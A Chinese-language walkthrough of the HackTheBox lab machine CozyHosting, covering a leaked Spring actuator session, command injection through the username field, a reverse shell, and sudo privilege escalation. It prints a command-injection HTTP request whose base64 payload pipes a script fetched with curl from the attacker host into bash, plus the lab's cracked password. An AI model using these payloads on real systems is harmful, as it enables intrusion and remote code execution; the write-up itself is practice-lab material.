HackTheBox—CozyHosting靶机
前言
打靶训练第五台。
最近开始玩HTB这个平台了。不知道为什么 我的windows客户端始终无法连接上,每次都会提示我什么证书错误,但是kali连接就不会出什么问题。所以打靶只能基于kali平台了。其实 什么平台打靶 什么工具打靶 都是其次的,主要还是打靶过程中的思路和技巧。B站的红队笔记师傅 他的所有打靶视频似乎都是基于kali
信息收集
连接上服务器后 启动机器 直接将机器的IP给出来了。

尝试ping一下 是否可以ping通

成功ping通 使用nmap进行端口探测
nmap -sV 10.10.11.230

得到开放端口有 22 80端口
简单分析一下
22端口对应的服务为ssh 机器为一台linux 机器(这里机器页面也指出来了。)
常见对应的攻击方式可能存在ssh暴力破解
80端酒对应的是http服务 也是我们通常打点的入口。
常见对应的方式就多了,web基础漏洞 信息泄露 文件上传 RCE等都有可能存在。
开放了80端口 直接访问看一下。
直接访问 无法访问 需要修改hosts文件
Linux直接在 /etc/hosts
10.10.11.230 cozyhosting.htb
保存后重新访问。

没看出来什么提示信息。
目录扫描

扫描结果

有actuator 这是spring中有名的未授权访问
访问sessions目录得到有效信息。
6BF14CA498E482F2B643FB1A417D5010 "kanderson"
通过查阅网上资料得到 在这里修改JSESSIONID 可以实现越权登录。
访问/admin 抓包修改内容 可以成功登录进去。

反弹shell
通过尝试和翻阅其他师傅的WP得到 在这一处存在RCE

抓包重放数据包。
通过username反弹shell。
在这里由于不可以存在空格和+号,于是这里使用的是curl命令反弹shell。
curl 10.10.14.110/1.sh | bash
kali需要写好1.sh中的反弹shell代码

将上面的进行base64编码 然后拼接payload。
POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Origin: http://cozyhosting.htb
Connection: close
Referer: http://cozyhosting.htb/admin
Cookie: JSESSIONID=6BF14CA498E482F2B643FB1A417D5010
Upgrade-Insecure-Requests: 1
host=127&username=;echo${IFS}"Y3VybCAxMC4xMC4xNC4xMTAvMS5zaCB8IGJhc2g="|base64${IFS}-d|bash;
然后kali那边启动服务。
python3 -m http.server 80
然后反弹shell

权限提升
切换到home下发现 josh目录

但是我们没有权限进去。
猜测这可能是ssh连接的账号。
将/app目录下的 jar文件 下载下来并进行 解包操作。

翻看得到敏感数据

其中得到数据库的账号密码。
连接数据库
psql -U postgres -W -h localhost -d cozyhosting
然后将密码粘贴。
成功进入数据库得到带hash值的账号密码

使用john暴破出来第一个为
manchesterunited
使用ssh直接连接。
账号为josh

成功进入。
也得到了第一部分的flag。
然后直接使用sudo -l查看可提权选项。

得到可以使用ssh。
于是直接去GTF上查找相关内容。


执行后成功提权为root用户 并得到flag。

总结
这台靶机的难度在HTB上是easy模式 但是我感觉对于我来说并不是easy模式 难点主要在于反弹shell中使用curl反弹的方式以前没有用过。然后就是通过对jar文件进行解包得到数据库密码泄露,从而得到ssh的密码。权限提升的地方反而很简单,无脑在GTF上赋值就可以了。